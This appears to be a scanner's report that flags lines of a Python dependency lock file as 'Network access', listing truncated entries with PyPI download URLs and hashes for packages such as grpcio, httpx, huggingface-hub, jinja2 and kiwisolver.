    sdist = { url = "https://files.pythonhosted.org/packages/0c/98/304898ac4e04e2d5e4e4c2eadc178b1f2a16d5f4bc2f91306c87d64680b9/grpcio-1.83.0.tar.gz", hash = "sha256:7674587248fbbb2ac6e4eecf83a8a0f3d91a928f941de571acfd3a2f007fbc24", size = 1342
  • Network accessline 449
    wheels = [     { url = "https://files.pythonhosted.org/packages/56/eb/135daaa713f32d33b8f99b4153b3f8dc3b2a124996ac15581bf9ebdad3c3/grpcio-1.83.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:6662f3b1e07cc7493d437351860dc867bddc6a93c83ecf33b
  • Network accessline 450
    { url = "https://files.pythonhosted.org/packages/56/eb/135daaa713f32d33b8f99b4153b3f8dc3b2a124996ac15581bf9ebdad3c3/grpcio-1.83.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:6662f3b1e07cc7493d437351860dc867bddc6a93c83ecf33bbfdaf0c217ab2d0
  • Network accessline 451
    { url = "https://files.pythonhosted.org/packages/8f/a1/121806ce69f23138dabe06aa595b0e5f1ae051a37e4c1954eed7d692c800/grpcio-1.83.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:74fe6f9e8a35c7dbf32255ee154d15e3e5338a81ed39173d079d59
  • Network accessline 452
    { url = "https://files.pythonhosted.org/packages/b0/e8/d0389e09cd6b4c4d3089b92967ae4e3ffd64795bd349bf2f85cd6656d3da/grpcio-1.83.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:10b3fa0475eb572c9a81a6fe37fa16a9
  • Network accessline 453
    { url = "https://files.pythonhosted.org/packages/f8/51/f464c1d211fa50d5adbabe1b2e519948d99c13757052bfc9ea7afa28e284/grpcio-1.83.0-cp313-cp313-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:5f20a988480b0f28207f057f7f7ae1313393c3
  • Network accessline 454
    { url = "https://files.pythonhosted.org/packages/e8/c0/539fe0832f2dd6500a28f5263071623fb34e8d4867aec632ccf81bd21156/grpcio-1.83.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7bd82671b39065ba18cd536e9cd45b27ff
  • Network accessline 455
    { url = "https://files.pythonhosted.org/packages/8c/ca/ccf617d37ffa72567fa8e005ec7090c99da922799be2fb9847c8b21ca18c/grpcio-1.83.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bc60215b5cb9fc8ca72942c498b551ac2305bd08f6ef8d4e3f0d21b
  • Network accessline 456
    { url = "https://files.pythonhosted.org/packages/eb/b9/fd8d5245f823a8e0fd35d90e20ea3aa4acd47f8d5318fa8df307df52dec6/grpcio-1.83.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:f1c3e5689d4b90987b1d72022bcfe866a9a3dc66197484cf856d96b615
  • Network accessline 457
    { url = "https://files.pythonhosted.org/packages/14/1e/f37632fc11db72dfa4bba86c3a43e54358e53030df111ecae5e91a733ad6/grpcio-1.83.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a21cb4eeeba124443f399be2e8b624943cde864dcbe588cb42e5c483
  • Network accessline 458
    { url = "https://files.pythonhosted.org/packages/93/b6/d70b69ae5c0cfc341b9ba474980e4ed99cbf05c0e4a14e9eee8cb73db0a5/grpcio-1.83.0-cp313-cp313-win32.whl", hash = "sha256:8fe04f1050a59f875601eb55d42b4f66946fe89817f967e34db1462ccd07dadf", size
  • Network accessline 459
    { url = "https://files.pythonhosted.org/packages/0f/13/45d4cccb555cf4c476226979bf3d2fd0b0254216f7564c3a053e35117efc/grpcio-1.83.0-cp313-cp313-win_amd64.whl", hash = "sha256:6e01ecd9d8ef280abe1365138a4dc318f9a5287f4cb1b41d07816f796653f735", 
  • Network accessline 463
    name = "h11" version = "0.16.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 464
    version = "0.16.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf4
  • Network accessline 465
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 466
    sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250,
  • Network accessline 467
    wheels = [     { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86
  • Network accessline 468
    { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515
  • Network accessline 472
    name = "hf-xet" version = "1.6.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 473
    version = "1.6.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/1b/ab/522a2ab67f27971a9d48ca666d4fca85ef7d5282d142e31fd087e27b1bbe/hf_xet-1.6.0.tar.gz", hash = "sha256:2e58454a34
  • Network accessline 474
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 475
    sdist = { url = "https://files.pythonhosted.org/packages/1b/ab/522a2ab67f27971a9d48ca666d4fca85ef7d5282d142e31fd087e27b1bbe/hf_xet-1.6.0.tar.gz", hash = "sha256:2e58454a340b3556dfa4972d5451aff4fba8dd42a236600ba1a1d2b1514f0fef", size = 92052
  • Network accessline 476
    wheels = [     { url = "https://files.pythonhosted.org/packages/a2/50/7afa2c9c787405864fc47a0d1bbc02c62e9101947ed43c1f43899fc7d91d/hf_xet-1.6.0-cp38-abi3-macosx_10_12_x86_64.whl", hash = "sha256:633dc0cd71d32da58ab8c03ad38e2fac452c15c2b0a28
  • Network accessline 477
    { url = "https://files.pythonhosted.org/packages/a2/50/7afa2c9c787405864fc47a0d1bbc02c62e9101947ed43c1f43899fc7d91d/hf_xet-1.6.0-cp38-abi3-macosx_10_12_x86_64.whl", hash = "sha256:633dc0cd71d32da58ab8c03ad38e2fac452c15c2b0a2866ebf6ededfe0a5
  • Network accessline 478
    { url = "https://files.pythonhosted.org/packages/4b/69/55b8dcf636142ae660fec1869fcac14c4da2e8412e14d6eee1523be77e9f/hf_xet-1.6.0-cp38-abi3-macosx_11_0_arm64.whl", hash = "sha256:f0906082d9932ae0c0057fa194041c22b4e2cdb46b2592ef3b91f020d62a08
  • Network accessline 479
    { url = "https://files.pythonhosted.org/packages/67/4e/a28359bf1c1ecf11eba22123168c138698f7cb576ac678f5a2e16cd5da08/hf_xet-1.6.0-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d62671bb130879cef0ee4c9ebe47a14af6c66
  • Network accessline 480
    { url = "https://files.pythonhosted.org/packages/9a/69/1f0cbc2fb22ae6082d094f743d1b8945a3f36f6089cb95f42b7ee348cda7/hf_xet-1.6.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:0e6e21fa3cdfcdcd76748564bf593870a5e013f47d97cf10aed63aa22
  • Network accessline 481
    { url = "https://files.pythonhosted.org/packages/d1/3a/4f4f2301ade26e404462d3336fa11f7958d914cabbabdd6e03c3c5d5658c/hf_xet-1.6.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:4fc74352a17015bd0ee90038bc9efe38db894cde45f268b6712b04fce8
  • Network accessline 482
    { url = "https://files.pythonhosted.org/packages/ab/5f/311725e2a905534dfee2dcb5b08414f249147f1f12252bfc2bd24caa075c/hf_xet-1.6.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8fb4f71cba6129110c3374a33f919001ff130488fc23553698e34cc1c2a
  • Network accessline 483
    { url = "https://files.pythonhosted.org/packages/98/b7/8c59a66d15205024662f1d66968136f13893f96df1ddc5087e2e281fc95f/hf_xet-1.6.0-cp38-abi3-win_amd64.whl", hash = "sha256:fb4fadde1b2b70bf4c0c14a6dccbe7194b1c28947fefd5bbe3fed9d940676c3b", siz
  • Network accessline 484
    { url = "https://files.pythonhosted.org/packages/73/63/ca511b6f802f28cf3489b280fe77475bcca8de85e81a6299d7916b5b5555/hf_xet-1.6.0-cp38-abi3-win_arm64.whl", hash = "sha256:3dc3e35441ba395006af5aaacc40ef2e603c51ef46c3530b9156185f00935ea3", siz
  • Network accessline 488
    name = "httpcore" version = "1.0.9" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 489
    version = "1.0.9" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 490
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 493
    { name = "h11" }, ] sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff
  • Network accessline 494
    ] sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 8
  • Network accessline 495
    sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 854
  • Network accessline 496
    wheels = [     { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1
  • Network accessline 497
    { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 7
  • Network accessline 501
    name = "httpx" version = "0.28.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 502
    version = "0.28.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 503
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 508
    { name = "idna" }, ] sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e
  • Network accessline 509
    ] sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141
  • Network accessline 510
    sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 14140
  • Network accessline 511
    wheels = [     { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59
  • Network accessline 512
    { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 735
  • Network accessline 516
    name = "huggingface-hub" version = "1.28.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 517
    version = "1.28.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 518
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 528
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c6/ae/222a91937ebee7f62c0ca8f5ee0afd97577caf24c0abb927d1f5c7e9f6d2/huggingface_hub-1.28.0.tar.gz", hash = "sha256:46a2e950c09234de54093d587d1675382f0
  • Network accessline 529
    ] sdist = { url = "https://files.pythonhosted.org/packages/c6/ae/222a91937ebee7f62c0ca8f5ee0afd97577caf24c0abb927d1f5c7e9f6d2/huggingface_hub-1.28.0.tar.gz", hash = "sha256:46a2e950c09234de54093d587d1675382f0d08dbd600d9fb599b5932f5b2c6cb", 
  • Network accessline 530
    sdist = { url = "https://files.pythonhosted.org/packages/c6/ae/222a91937ebee7f62c0ca8f5ee0afd97577caf24c0abb927d1f5c7e9f6d2/huggingface_hub-1.28.0.tar.gz", hash = "sha256:46a2e950c09234de54093d587d1675382f0d08dbd600d9fb599b5932f5b2c6cb", si
  • Network accessline 531
    wheels = [     { url = "https://files.pythonhosted.org/packages/51/0e/eafef18f1a75e125e68395db21131db0cf868a128ecd2fce69b4df6c584b/huggingface_hub-1.28.0-py3-none-any.whl", hash = "sha256:58a8bacb03072edfc38067065e9dc24bbb34805410fcd36a1632
  • Network accessline 532
    { url = "https://files.pythonhosted.org/packages/51/0e/eafef18f1a75e125e68395db21131db0cf868a128ecd2fce69b4df6c584b/huggingface_hub-1.28.0-py3-none-any.whl", hash = "sha256:58a8bacb03072edfc38067065e9dc24bbb34805410fcd36a1632de0b329660bb", 
  • Network accessline 536
    name = "idna" version = "3.19" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 537
    version = "3.19" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/5f/f7/abb373e5757eaec4b922b92f97ec8d6d7e057cf06778247604fbc4e7c3f3/idna-3.19.tar.gz", hash = "sha256:5e0811a4383b21
  • Network accessline 538
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 539
    sdist = { url = "https://files.pythonhosted.org/packages/5f/f7/abb373e5757eaec4b922b92f97ec8d6d7e057cf06778247604fbc4e7c3f3/idna-3.19.tar.gz", hash = "sha256:5e0811a4383b21dc5838069f801c4fb62113b7447663d2530d2bd6e77b49bf15", size = 215237, 
  • Network accessline 540
    wheels = [     { url = "https://files.pythonhosted.org/packages/57/b0/0e52c878c53f245edd3a11020f20979b3f490f245af532c7cae3027754b5/idna-3.19-py3-none-any.whl", hash = "sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4"
  • Network accessline 541
    { url = "https://files.pythonhosted.org/packages/57/b0/0e52c878c53f245edd3a11020f20979b3f490f245af532c7cae3027754b5/idna-3.19-py3-none-any.whl", hash = "sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4", size = 68550,
  • Network accessline 545
    name = "jinja2" version = "3.1.6" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 546
    version = "3.1.6" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 547
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 549
    { name = "markupsafe" }, ] sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb8381
  • Network accessline 550
    ] sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245
  • Network accessline 551
    sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 24511
  • Network accessline 552
    wheels = [     { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f
  • Network accessline 553
    { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134
  • Network accessline 557
    name = "joblib" version = "1.5.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 558
    version = "1.5.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/41/f2/d34e8b3a08a9cc79a50b2208a93dce981fe615b64d5a4d4abee421d898df/joblib-1.5.3.tar.gz", hash = "sha256:8561a3269e
  • Network accessline 559
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 560
    sdist = { url = "https://files.pythonhosted.org/packages/41/f2/d34e8b3a08a9cc79a50b2208a93dce981fe615b64d5a4d4abee421d898df/joblib-1.5.3.tar.gz", hash = "sha256:8561a3269e6801106863fd0d6d84bb737be9e7631e33aaed3fb9ce5953688da3", size = 33160
  • Network accessline 561
    wheels = [     { url = "https://files.pythonhosted.org/packages/7b/91/984aca2ec129e2757d1e4e3c81c3fcda9d0f85b74670a094cc443d9ee949/joblib-1.5.3-py3-none-any.whl", hash = "sha256:5fc3c5039fc5ca8c0276333a188bbd59d6b7ab37fe6632daa76bc7f9ec18e7
  • Network accessline 562
    { url = "https://files.pythonhosted.org/packages/7b/91/984aca2ec129e2757d1e4e3c81c3fcda9d0f85b74670a094cc443d9ee949/joblib-1.5.3-py3-none-any.whl", hash = "sha256:5fc3c5039fc5ca8c0276333a188bbd59d6b7ab37fe6632daa76bc7f9ec18e713", size = 309
  • Network accessline 566
    name = "julius" version = "0.2.8" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 567
    version = "0.2.8" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 568
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 570
    { name = "torch" }, ] sdist = { url = "https://files.pythonhosted.org/packages/1d/c6/5c2aea2b11ead1680bb5b17c996def31f8ccade471cada37cdb93855e06f/julius-0.2.8.tar.gz", hash = "sha256:d691e651200930affea4f6c849c26e95fec846087281ae3d1a7757eac
  • Network accessline 571
    ] sdist = { url = "https://files.pythonhosted.org/packages/1d/c6/5c2aea2b11ead1680bb5b17c996def31f8ccade471cada37cdb93855e06f/julius-0.2.8.tar.gz", hash = "sha256:d691e651200930affea4f6c849c26e95fec846087281ae3d1a7757eac90253d5", size = 480
  • Network accessline 572
    sdist = { url = "https://files.pythonhosted.org/packages/1d/c6/5c2aea2b11ead1680bb5b17c996def31f8ccade471cada37cdb93855e06f/julius-0.2.8.tar.gz", hash = "sha256:d691e651200930affea4f6c849c26e95fec846087281ae3d1a7757eac90253d5", size = 48081
  • Network accessline 573
    wheels = [     { url = "https://files.pythonhosted.org/packages/86/43/efdb0bcb07c47826fa55857cec0deb743f74cd83b6ba5ec9e413505a72e6/julius-0.2.8-py3-none-any.whl", hash = "sha256:6891235cbc355e629d839f87489bff8ca46e57a0e7cc35abb909c7a2aa538c
  • Network accessline 574
    { url = "https://files.pythonhosted.org/packages/86/43/efdb0bcb07c47826fa55857cec0deb743f74cd83b6ba5ec9e413505a72e6/julius-0.2.8-py3-none-any.whl", hash = "sha256:6891235cbc355e629d839f87489bff8ca46e57a0e7cc35abb909c7a2aa538c25", size = 218
  • Network accessline 578
    name = "kiwisolver" version = "1.5.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 579
    version = "1.5.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/d0/67/9c61eccb13f0bdca9307614e782fec49ffdde0f7a2314935d489fa93cd9c/kiwisolver-1.5.0.tar.gz", hash = "sha256:d4193f
  • Network accessline 580
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 581
    sdist = { url = "https://files.pythonhosted.org/packages/d0/67/9c61eccb13f0bdca9307614e782fec49ffdde0f7a2314935d489fa93cd9c/kiwisolver-1.5.0.tar.gz", hash = "sha256:d4193f3d9dc3f6f79aaed0e5637f45d98850ebf01f7ca20e69457f3e8946b66a", size = 1
  • Network accessline 582
    wheels = [     { url = "https://files.pythonhosted.org/packages/9d/69/024d6711d5ba575aa65d5538042e99964104e97fa153a9f10bc369182bc2/kiwisolver-1.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:fd40bb9cd0891c4c3cb1ddf83f8bbfa1573
  • Network accessline 583
    { url = "https://files.pythonhosted.org/packages/9d/69/024d6711d5ba575aa65d5538042e99964104e97fa153a9f10bc369182bc2/kiwisolver-1.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:fd40bb9cd0891c4c3cb1ddf83f8bbfa15731a248fdc8162669
  • Network accessline 584
    { url = "https://files.pythonhosted.org/packages/ce/48/adbb40df306f587054a348831220812b9b1d787aff714cfbc8556e38fccd/kiwisolver-1.5.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c0e1403fd7c26d77c1f03e096dc58a5c726503fa0db0456678b866
  • Network accessline 585
    { url = "https://files.pythonhosted.org/packages/a8/3a/d0a972b34e1c63e2409413104216cd1caa02c5a37cb668d1687d466c1c45/kiwisolver-1.5.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:dda366d548e89a90d88a86c692377d18d8bd64b39c1fb2b92cb31370
  • Network accessline 586
    { url = "https://files.pythonhosted.org/packages/2b/0a/7b98e1e119878a27ba8618ca1e18b14f992ff1eda40f47bccccf4de44121/kiwisolver-1.5.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:332b4f0145c30b5f5ad9374881133e5
  • Network accessline 587
    { url = "https://files.pythonhosted.org/packages/18/d8/55638d89ffd27799d5cc3d8aa28e12f4ce7a64d67b285114dbedc8ea4136/kiwisolver-1.5.0-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0c50b89ffd3e1a911c69a1dd3de7
  • Network accessline 588
    { url = "https://files.pythonhosted.org/packages/b8/97/b4c8d0d18421ecceba20ad8701358453b88e32414e6f6950b5a4bad54e65/kiwisolver-1.5.0-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4db576bb8c3ef9365f8b40fe0f67
  • Network accessline 589
    { url = "https://files.pythonhosted.org/packages/c4/10/f862f94b6389d8957448ec9df59450b81bec4abb318805375c401a1e6892/kiwisolver-1.5.0-cp313-cp313-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0b85aad90cea8ac6797a53b5d5f2e967
  • Network accessline 590
    { url = "https://files.pythonhosted.org/packages/a3/6a/f1650af35821eaf09de398ec0bc2aefc8f211f0cda50204c9f1673741ba9/kiwisolver-1.5.0-cp313-cp313-manylinux_2_39_riscv64.whl", hash = "sha256:d36ca54cb4c6c4686f7cbb7b817f66f5911c12ddb519450bbe8
  • Network accessline 591
    { url = "https://files.pythonhosted.org/packages/de/19/d7fb82984b9238115fe629c915007be608ebd23dc8629703d917dbfaffd4/kiwisolver-1.5.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:38f4a703656f493b0ad185211ccfca7f0386120f022066b018eb
  • Network accessline 592
    { url = "https://files.pythonhosted.org/packages/7f/b9/46b7f386589fd222dac9e9de9c956ce5bcefe2ee73b4e79891381dda8654/kiwisolver-1.5.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:3ac2360e93cb41be81121755c6462cff3beaa9967188c866e5fc
  • Network accessline 593
    { url = "https://files.pythonhosted.org/packages/92/8b/95e237cf3d9c642960153c769ddcbe278f182c8affb20cecc1cc983e7cc5/kiwisolver-1.5.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c95cab08d1965db3d84a121f1c7ce7479bdd4072c9b3dafd8fec
  • Network accessline 594
    { url = "https://files.pythonhosted.org/packages/1b/95/980c9df53501892784997820136c01f62bc1865e31b82b9560f980c0e649/kiwisolver-1.5.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:fc20894c3d21194d8041a28b65622d5b86db786da6e3cfe73f0c76
  • Network accessline 595
    { url = "https://files.pythonhosted.org/packages/cb/32/900647fd0840abebe1561792c6b31e6a7c0e278fc3973d30572a965ca14c/kiwisolver-1.5.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7a32f72973f0f950c1920475d5c5ea3d971b81b6f0ec53b8d0a95
  • Network accessline 596
    { url = "https://files.pythonhosted.org/packages/be/8a/be60e3bbcf513cc5a50f4a3e88e1dcecebb79c1ad607a7222877becaa101/kiwisolver-1.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:0bf3acf1419fa93064a4c2189ac0b58e3be7872bf6ee6177b0d4c63dc4cea276
  • Network accessline 597
    { url = "https://files.pythonhosted.org/packages/4d/d2/64be2e429eb4fca7f7e1c52a91b12663aeaf25de3895e5cca0f47ef2a8d0/kiwisolver-1.5.0-cp313-cp313-win_arm64.whl", hash = "sha256:fa8eb9ecdb7efb0b226acec134e0d709e87a909fa4971a54c0c4f6e88635484c
  • Network accessline 598
    { url = "https://files.pythonhosted.org/packages/b0/69/ce68dd0c85755ae2de490bf015b62f2cea5f6b14ff00a463f9d0774449ff/kiwisolver-1.5.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:db485b3847d182b908b483b2ed133c66d88d49cacf98fd278
  • Network accessline 599
    { url = "https://files.pythonhosted.org/packages/74/aa/937aac021cf9d4349990d47eb319309a51355ed1dbdc9c077cdc9224cb11/kiwisolver-1.5.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:be12f931839a3bdfe28b584db0e640a65a8bcbc24560ae3fdb025
  • Network accessline 600
    { url = "https://files.pythonhosted.org/packages/ee/20/3a87fbece2c40ad0f6f0aefa93542559159c5f99831d596050e8afae7a9f/kiwisolver-1.5.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:16b85d37c2cbb3253226d26e64663f755d88a03439a9c47df6246b3
  • Network accessline 601
    { url = "https://files.pythonhosted.org/packages/f0/7f/f943879cda9007c45e1f7dba216d705c3a18d6b35830e488b6c6a4e7cdf0/kiwisolver-1.5.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4432b835675f0ea7414aab3d37d119
  • Network accessline 602
    { url = "https://files.pythonhosted.org/packages/37/f8/4d4f85cc1870c127c88d950913370dd76138482161cd07eabbc450deff01/kiwisolver-1.5.0-cp313-cp313t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b0feb50971481a2cc44d94e88b
  • Network accessline 603
    { url = "https://files.pythonhosted.org/packages/04/0b/65dd2916c84d252b244bd405303220f729e7c17c9d7d33dca6feeff9ffc4/kiwisolver-1.5.0-cp313-cp313t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56fa888f10d0f367155e76ce849
  • Network accessline 604
    { url = "https://files.pythonhosted.org/packages/39/5c/2606a373247babce9b1d056c03a04b65f3cf5290a8eac5d7bdead0a17e21/kiwisolver-1.5.0-cp313-cp313t-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:940dda65d5e764406b9fb92761cbf46
  • Network accessline 605
    { url = "https://files.pythonhosted.org/packages/d5/d1/c6078b5756670658e9192a2ef11e939c92918833d2745f85cd14a6004bdf/kiwisolver-1.5.0-cp313-cp313t-manylinux_2_39_riscv64.whl", hash = "sha256:89fc958c702ee9a745e4700378f5d23fddbc46ff89e8fdbf53
  • Network accessline 606
    { url = "https://files.pythonhosted.org/packages/cb/c8/7def6ddf16eb2b3741d8b172bdaa9af882b03c78e9b0772975408801fa63/kiwisolver-1.5.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9027d773c4ff81487181a925945743413f6069634d0b122d0b3
  • Network accessline 607
    { url = "https://files.pythonhosted.org/packages/9e/87/2ac1fce0eb1e616fcd3c35caa23e665e9b1948bb984f4764790924594128/kiwisolver-1.5.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:5b233ea3e165e43e35dba1d2b8ecc21cf070b45b65ae17dd274
  • Network accessline 608
    { url = "https://files.pythonhosted.org/packages/67/13/c6700ccc6cc218716bfcda4935e4b2997039869b4ad8a94f364c5a3b8e63/kiwisolver-1.5.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:ce9bf03dad3b46408c08649c6fbd6ca28a9fce0eb32fdfffa67
  • Network accessline 609
    { url = "https://files.pythonhosted.org/packages/1b/bd/877056304626943ff0f1f44c08f584300c199b887cb3176cd7e34f1515f1/kiwisolver-1.5.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:fc4d3f1fb9ca0ae9f97b095963bc6326f1dbfd3779d6679a1e016
  • Network accessline 610
